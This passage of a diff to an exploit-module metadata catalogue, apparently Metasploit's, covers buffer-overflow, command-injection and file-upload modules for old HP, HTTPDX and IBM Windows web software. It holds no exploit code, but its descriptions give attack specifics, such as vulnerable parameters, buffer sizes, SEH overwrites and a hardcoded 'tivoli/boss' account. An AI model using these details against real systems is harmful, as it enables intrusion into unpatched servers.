false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168611,9 +173144,7 @@ "exploit_windows/http/hp_nnm_snmp": { "name": "HP OpenView Network Node Manager Snmp.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_snmp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-09", "type": "exploit", @@ -168646,7 +173177,7 @@ "targets": [ "HP OpenView Network Node Manager 7.50 / Windows 2000 All" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_snmp.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_snmp", @@ -168654,6 +173185,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168661,16 +173201,14 @@ "exploit_windows/http/hp_nnm_snmpviewer_actapp": { "name": "HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_snmpviewer_actapp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-05-11", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By making a specially crafted HTTP request to the \"snmpviewer.exe\"\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary\n code.\n\n The vulnerable code lies within a function within \"snmpviewer.exe\" with a\n timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET\n or POST request. The request must contain 'act' and 'app' parameters which, when\n combined, total more than the 1024 byte stack buffer can hold.\n\n It is important to note that this vulnerability must be exploited by overwriting SEH.\n While the saved return address can be smashed, a function call that occurs before\n the function returns calls \"exit\".", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01203. By making a specially crafted HTTP request to the \"snmpviewer.exe\"\n CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary\n code.\n\n The vulnerable code lies within a function within \"snmpviewer.exe\" with a\n timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET\n or POST request. The request must contain 'act' and 'app' parameters which, when\n combined, total more than the 1024 byte stack buffer can hold.\n\n It is important to note that this vulnerability must be exploited by overwriting SEH.\n While the saved return address can be smashed, a function call that occurs before\n the function returns calls \"exit\".", "references": [ "CVE-2010-1552", "OSVDB-64975", @@ -168701,7 +173239,7 @@ "HP OpenView Network Node Manager 7.53 (Windows 2003)", "Debug Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_snmpviewer_actapp", @@ -168709,6 +173247,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168716,16 +173263,14 @@ "exploit_windows/http/hp_nnm_toolbar_01": { "name": "HP OpenView Network Node Manager Toolbar.exe CGI Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_toolbar_01", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-01-07", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n By sending a specially crafted CGI request to Toolbar.exe, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n By sending a specially crafted CGI request to Toolbar.exe, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2008-0067", "OSVDB-53222", @@ -168752,7 +173297,7 @@ "targets": [ "HP OpenView Network Node Manager 7.50 / Windows 2000 All" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_toolbar_01.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_toolbar_01", @@ -168760,6 +173305,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168767,9 +173321,7 @@ "exploit_windows/http/hp_nnm_toolbar_02": { "name": "HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_toolbar_02", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-21", "type": "exploit", @@ -168778,7 +173330,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0\n and 7.53. By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an\n attacker may be able to execute arbitrary code. Please note that this module only works\n against a specific build (i.e. NNM 7.53_01195)", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0\n and 7.53. By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an\n attacker may be able to execute arbitrary code. Please note that this module only works\n against a specific build (i.e. NNM 7.53_01195)", "references": [ "CVE-2009-0920", "OSVDB-53242", @@ -168808,7 +173360,7 @@ "HP OpenView Network Node Manager Release B.07.00", "HP OpenView Network Node Manager 7.53 Patch 01195" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_toolbar_02.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_toolbar_02", @@ -168816,6 +173368,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168823,9 +173384,7 @@ "exploit_windows/http/hp_nnm_webappmon_execvp": { "name": "HP OpenView Network Node Manager execvp_nc Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_webappmon_execvp", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-07-20", "type": "exploit", @@ -168834,7 +173393,7 @@ "sinn3r ", "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'\n parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can\n cause a stack-based buffer overflow and execute arbitrary code.\n\n This vulnerability is not triggerable via a GET request due to limitations on the\n request size. The buffer being targeted is 16384 bytes in size. There are actually two\n adjacent buffers that both get overflowed (one into the other), and strcat is used.\n\n The vulnerable code is within the \"execvp_nc\" function within \"ov.dll\" prior to\n v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by\n overwriting the saved return address or SEH frame.\n\n This vulnerability might also be triggerable via other CGI programs, however this was\n not fully investigated.", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'\n parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can\n cause a stack-based buffer overflow and execute arbitrary code.\n\n This vulnerability is not triggerable via a GET request due to limitations on the\n request size. The buffer being targeted is 16384 bytes in size. There are actually two\n adjacent buffers that both get overflowed (one into the other), and strcat is used.\n\n The vulnerable code is within the \"execvp_nc\" function within \"ov.dll\" prior to\n v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by\n overwriting the saved return address or SEH frame.\n\n This vulnerability might also be triggerable via other CGI programs, however this was\n not fully investigated.", "references": [ "CVE-2010-2703", "OSVDB-66514", @@ -168866,7 +173425,7 @@ "HP OpenView Network Node Manager 7.53 (Windows 2003)", "Debug Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_webappmon_execvp", @@ -168874,6 +173433,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168881,9 +173449,7 @@ "exploit_windows/http/hp_nnm_webappmon_ovjavalocale": { "name": "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow", "fullname": "exploit/windows/http/hp_nnm_webappmon_ovjavalocale", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-08-03", "type": "exploit", @@ -168892,7 +173458,7 @@ "sinn3r ", "jduck " ], - "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.\n By sending a request containing a cookie longer than 5120 bytes, an attacker can overflow\n a stack buffer and execute arbitrary code.\n\n The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is\n declared within this function. When the vulnerability is triggered, the stack trace looks\n like the following:\n\n #0 ...\n #1 sprintf_new(local_stack_buf, fmt, cookie);\n #2 OvWwwDebug(\" HTTP_COOKIE=%s\\n\", cookie);\n #3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);\n #4 sub_405ee0(\"nnm\", \"webappmon\");\n\n No validation is done on the cookie argument. There are no stack cookies, so exploitation\n is easily achieved by overwriting the saved return address or SEH frame.\n\n The original advisory detailed an attack vector using the \"OvJavaLocale\" cookie being\n passed in a request to \"webappmon.exe\". Further research shows that several different\n cookie values, as well as several different CGI applications, can be used.\n '", + "description": "This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.\n By sending a request containing a cookie longer than 5120 bytes, an attacker can overflow\n a stack buffer and execute arbitrary code.\n\n The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is\n declared within this function. When the vulnerability is triggered, the stack trace looks\n like the following:\n\n #0 ...\n #1 sprintf_new(local_stack_buf, fmt, cookie);\n #2 OvWwwDebug(\" HTTP_COOKIE=%s\\n\", cookie);\n #3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);\n #4 sub_405ee0(\"nnm\", \"webappmon\");\n\n No validation is done on the cookie argument. There are no stack cookies, so exploitation\n is easily achieved by overwriting the saved return address or SEH frame.\n\n The original advisory detailed an attack vector using the \"OvJavaLocale\" cookie being\n passed in a request to \"webappmon.exe\". Further research shows that several different\n cookie values, as well as several different CGI applications, can be used.\n '", "references": [ "CVE-2010-2709", "OSVDB-66932", @@ -168924,7 +173490,7 @@ "HP OpenView Network Node Manager 7.53 (Windows 2003)", "Debug Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb", "is_install_path": true, "ref_name": "windows/http/hp_nnm_webappmon_ovjavalocale", @@ -168932,6 +173498,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168939,16 +173514,14 @@ "exploit_windows/http/hp_openview_insight_backdoor": { "name": "HP OpenView Performance Insight Server Backdoor Account Code Execution", "fullname": "exploit/windows/http/hp_openview_insight_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-01-31", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java\n class. When using this account, an attacker can abuse the\n com.trinagy.servlet.HelpManagerServlet class and write arbitrary files to the system\n allowing the execution of arbitrary code.\n\n NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0", + "description": "This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java\n class. When using this account, an attacker can abuse the\n com.trinagy.servlet.HelpManagerServlet class and write arbitrary files to the system\n allowing the execution of arbitrary code.\n\n NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0", "references": [ "CVE-2011-0276", "OSVDB-70754" @@ -168974,7 +173547,7 @@ "targets": [ "Universal Windows Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_openview_insight_backdoor.rb", "is_install_path": true, "ref_name": "windows/http/hp_openview_insight_backdoor", @@ -168982,6 +173555,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -168989,9 +173571,7 @@ "exploit_windows/http/hp_pcm_snac_update_certificates": { "name": "HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload", "fullname": "exploit/windows/http/hp_pcm_snac_update_certificates", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-09", "type": "exploit", @@ -168999,7 +173579,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The\n vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary\n files, just having into account binary writes aren't allowed. Additionally, authentication\n can be bypassed in order to upload the file. This module has been tested successfully on\n the SNAC server installed with HP ProCurve Manager 4.0.", + "description": "This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The\n vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary\n files, just having into account binary writes aren't allowed. Additionally, authentication\n can be bypassed in order to upload the file. This module has been tested successfully on\n the SNAC server installed with HP ProCurve Manager 4.0.", "references": [ "CVE-2013-4812", "OSVDB-97155", @@ -169027,7 +173607,7 @@ "targets": [ "HP ProCurve Manager 4.0 SNAC Server" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb", "is_install_path": true, "ref_name": "windows/http/hp_pcm_snac_update_certificates", @@ -169035,6 +173615,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169042,9 +173631,7 @@ "exploit_windows/http/hp_pcm_snac_update_domain": { "name": "HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload", "fullname": "exploit/windows/http/hp_pcm_snac_update_domain", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-09", "type": "exploit", @@ -169052,7 +173639,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The\n vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary\n files, just having into account binary writes aren't allowed. Additionally, authentication\n can be bypassed in order to upload the file. This module has been tested successfully on\n the SNAC server installed with HP ProCurve Manager 4.0.", + "description": "This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The\n vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary\n files, just having into account binary writes aren't allowed. Additionally, authentication\n can be bypassed in order to upload the file. This module has been tested successfully on\n the SNAC server installed with HP ProCurve Manager 4.0.", "references": [ "CVE-2013-4811", "OSVDB-97154", @@ -169080,7 +173667,7 @@ "targets": [ "HP ProCurve Manager 4.0 SNAC Server" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb", "is_install_path": true, "ref_name": "windows/http/hp_pcm_snac_update_domain", @@ -169088,6 +173675,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169095,9 +173691,7 @@ "exploit_windows/http/hp_power_manager_filename": { "name": "HP Power Manager 'formExportDataLogs' Buffer Overflow", "fullname": "exploit/windows/http/hp_power_manager_filename", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-19", "type": "exploit", @@ -169106,7 +173700,7 @@ "Rodrigo Escobar ", "sinn3r " ], - "description": "This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.\n By creating a malformed request specifically for the fileName parameter, a stack-based\n buffer overflow occurs due to a long error message (which contains the fileName),\n which may result in arbitrary remote code execution under the context of 'SYSTEM'.", + "description": "This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.\n By creating a malformed request specifically for the fileName parameter, a stack-based\n buffer overflow occurs due to a long error message (which contains the fileName),\n which may result in arbitrary remote code execution under the context of 'SYSTEM'.", "references": [ "CVE-2009-3999", "OSVDB-61848", @@ -169133,7 +173727,7 @@ "targets": [ "Windows XP SP3 / Win Server 2003 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_power_manager_filename.rb", "is_install_path": true, "ref_name": "windows/http/hp_power_manager_filename", @@ -169141,6 +173735,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169148,9 +173751,7 @@ "exploit_windows/http/hp_power_manager_login": { "name": "Hewlett-Packard Power Manager Administration Buffer Overflow", "fullname": "exploit/windows/http/hp_power_manager_login", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-11-04", "type": "exploit", @@ -169158,7 +173759,7 @@ "MC ", "sinn3r " ], - "description": "This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.\n Sending a specially crafted POST request with an overly long Login string, an\n attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.\n Sending a specially crafted POST request with an overly long Login string, an\n attacker may be able to execute arbitrary code.", "references": [ "CVE-2009-2685", "OSVDB-59684" @@ -169184,7 +173785,7 @@ "targets": [ "Windows 2000 SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_power_manager_login.rb", "is_install_path": true, "ref_name": "windows/http/hp_power_manager_login", @@ -169192,6 +173793,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169199,9 +173809,7 @@ "exploit_windows/http/hp_sitescope_dns_tool": { "name": "HP SiteScope DNS Tool Command Injection", "fullname": "exploit/windows/http/hp_sitescope_dns_tool", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-10-09", "type": "exploit", @@ -169210,7 +173818,7 @@ "Charles Riggs", "Juan Vazquez" ], - "description": "This module exploits a command injection vulnerability\n discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26\n and 11.30). The vulnerability exists in the DNS Tool allowing an\n attacker to execute arbitrary commands in the context of the service. By\n default, HP SiteScope installs and runs as SYSTEM in Windows and does\n not require authentication. This vulnerability only exists on the\n Windows version. The Linux version is unaffected.", + "description": "This module exploits a command injection vulnerability\n discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26\n and 11.30). The vulnerability exists in the DNS Tool allowing an\n attacker to execute arbitrary commands in the context of the service. By\n default, HP SiteScope installs and runs as SYSTEM in Windows and does\n not require authentication. This vulnerability only exists on the\n Windows version. The Linux version is unaffected.", "references": [ "URL-https://www.rapid7.com/blog/post/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection", "URL-http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html" @@ -169237,7 +173845,7 @@ "HP SiteScope 11.30 / Microsoft Windows 7 and higher", "HP SiteScope 11.30 / CMD" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_sitescope_dns_tool.rb", "is_install_path": true, "ref_name": "windows/http/hp_sitescope_dns_tool", @@ -169245,6 +173853,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169252,9 +173869,7 @@ "exploit_windows/http/hp_sitescope_runomagentcommand": { "name": "HP SiteScope Remote Code Execution", "fullname": "exploit/windows/http/hp_sitescope_runomagentcommand", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-07-29", "type": "exploit", @@ -169262,7 +173877,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a code execution flaw in HP SiteScope.\n The vulnerability exists in the opcactivate.vbs script, which\n is reachable from the APIBSMIntegrationImpl AXIS service, and\n uses WScript.Shell.run() to execute cmd.exe with user provided\n data. Note that the opcactivate.vbs component is installed\n with the (optional) HP Operations Agent component. The module\n has been tested successfully on HP SiteScope 11.20 (with HP\n Operations Agent) over Windows 2003 SP2.", + "description": "This module exploits a code execution flaw in HP SiteScope.\n The vulnerability exists in the opcactivate.vbs script, which\n is reachable from the APIBSMIntegrationImpl AXIS service, and\n uses WScript.Shell.run() to execute cmd.exe with user provided\n data. Note that the opcactivate.vbs component is installed\n with the (optional) HP Operations Agent component. The module\n has been tested successfully on HP SiteScope 11.20 (with HP\n Operations Agent) over Windows 2003 SP2.", "references": [ "CVE-2013-2367", "OSVDB-95824", @@ -169290,7 +173905,7 @@ "targets": [ "HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb", "is_install_path": true, "ref_name": "windows/http/hp_sitescope_runomagentcommand", @@ -169298,6 +173913,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169305,9 +173929,7 @@ "exploit_windows/http/hpe_sim_76_amf_deserialization": { "name": "HPE Systems Insight Manager AMF Deserialization RCE", "fullname": "exploit/windows/http/hpe_sim_76_amf_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-12-15", "type": "exploit", @@ -169369,9 +173991,7 @@ "exploit_windows/http/httpdx_handlepeer": { "name": "HTTPDX h_handlepeer() Function Buffer Overflow", "fullname": "exploit/windows/http/httpdx_handlepeer", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-10-08", "type": "exploit", @@ -169380,7 +174000,7 @@ "Trancer ", "jduck " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The\n vulnerability is caused due to a boundary error within the \"h_handlepeer()\" function in http.cpp.\n By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.", + "description": "This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The\n vulnerability is caused due to a boundary error within the \"h_handlepeer()\" function in http.cpp.\n By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.", "references": [ "OSVDB-58714", "CVE-2009-3711", @@ -169409,7 +174029,7 @@ "httpdx 1.4 - Windows XP SP3 English", "httpdx 1.4 - Windows 2003 SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/httpdx_handlepeer.rb", "is_install_path": true, "ref_name": "windows/http/httpdx_handlepeer", @@ -169417,6 +174037,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169424,16 +174053,14 @@ "exploit_windows/http/httpdx_tolog_format": { "name": "HTTPDX tolog() Function Format String Vulnerability", "fullname": "exploit/windows/http/httpdx_tolog_format", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-11-17", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a format string vulnerability in HTTPDX HTTP server.\n By sending a specially crafted HTTP request containing format specifiers, an\n attacker can corrupt memory and execute arbitrary code.\n\n By default logging is off for HTTP, but enabled for the 'moderator' user\n via FTP.", + "description": "This module exploits a format string vulnerability in HTTPDX HTTP server.\n By sending a specially crafted HTTP request containing format specifiers, an\n attacker can corrupt memory and execute arbitrary code.\n\n By default logging is off for HTTP, but enabled for the 'moderator' user\n via FTP.", "references": [ "CVE-2009-4769", "OSVDB-60182" @@ -169465,7 +174092,7 @@ "httpdx 1.5 - Windows XP SP3 English", "Debug target" ], - "mod_time": "2023-05-30 10:56:41 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/httpdx_tolog_format.rb", "is_install_path": true, "ref_name": "windows/http/httpdx_tolog_format", @@ -169473,6 +174100,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169480,16 +174116,14 @@ "exploit_windows/http/ia_webmail": { "name": "IA WebMail 3.x Buffer Overflow", "fullname": "exploit/windows/http/ia_webmail", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-11-03", "type": "exploit", "author": [ "hdm " ], - "description": "This exploits a stack buffer overflow in the IA WebMail server.\n This exploit has not been tested against a live system at\n this time.", + "description": "This exploits a stack buffer overflow in the IA WebMail server.\n This exploit has not been tested against a live system at\n this time.", "references": [ "CVE-2003-1192", "OSVDB-2757", @@ -169517,7 +174151,7 @@ "targets": [ "IA WebMail 3.x" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ia_webmail.rb", "is_install_path": true, "ref_name": "windows/http/ia_webmail", @@ -169525,6 +174159,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169532,9 +174175,7 @@ "exploit_windows/http/ibm_tivoli_endpoint_bof": { "name": "IBM Tivoli Endpoint Manager POST Query Buffer Overflow", "fullname": "exploit/windows/http/ibm_tivoli_endpoint_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-05-31", "type": "exploit", @@ -169542,7 +174183,7 @@ "bannedit ", "Jeremy Brown <0xjbrown@gmail.com>" ], - "description": "This module exploits a stack based buffer overflow in the way IBM Tivoli\n Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query\n arguments.\n\n This issue can be triggered by sending a specially crafted HTTP POST request to\n the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization\n is required. This exploit makes use of a second vulnerability, a hardcoded account\n (tivoli/boss) is used to bypass the authorization restriction.", + "description": "This module exploits a stack based buffer overflow in the way IBM Tivoli\n Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query\n arguments.\n\n This issue can be triggered by sending a specially crafted HTTP POST request to\n the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization\n is required. This exploit makes use of a second vulnerability, a hardcoded account\n (tivoli/boss) is used to bypass the authorization restriction.", "references": [ "CVE-2011-1220", "OSVDB-72713", @@ -169574,7 +174215,7 @@ "Windows Server 2003 SP1", "Windows Server 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb", "is_install_path": true, "ref_name": "windows/http/ibm_tivoli_endpoint_bof", @@ -169582,6 +174223,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -169589,16 +174239,14 @@ "exploit_windows/http/ibm_tpmfosd_overflow": { "name": "IBM TPM for OS Deployment 5.1.0.x rembo.exe Buffer Overflow", "fullname": "exploit/windows/http/ibm_tpmfosd_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-05-02", "type": "exploit", "author": [ "toto" ], - "description": "This is a stack buffer overflow exploit for IBM Tivoli Provisioning Manager\n for OS Deployment version 5.1.0.X.", + "description": "This is a stack buffer overflow exploit for IBM Tivoli Provisioning Manager\n for OS Deployment version 5.1.0.X.", "references": [ "CVE-2007-1868", "OSVDB-34678", @@ -169627,7 +174275,7 @@ "TPMfOSD 5.1 (Windows 2000 SP4 - English)", "TPMfOSD 5.1 (Windows 2003 All - English)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb", "is_install_path": true, "ref_name": "windows/http/ibm_tpmfosd_overflow", @@ -169635,6 +174283,15 @@ "post_auth": false, "default_credential": false, "notes": { + 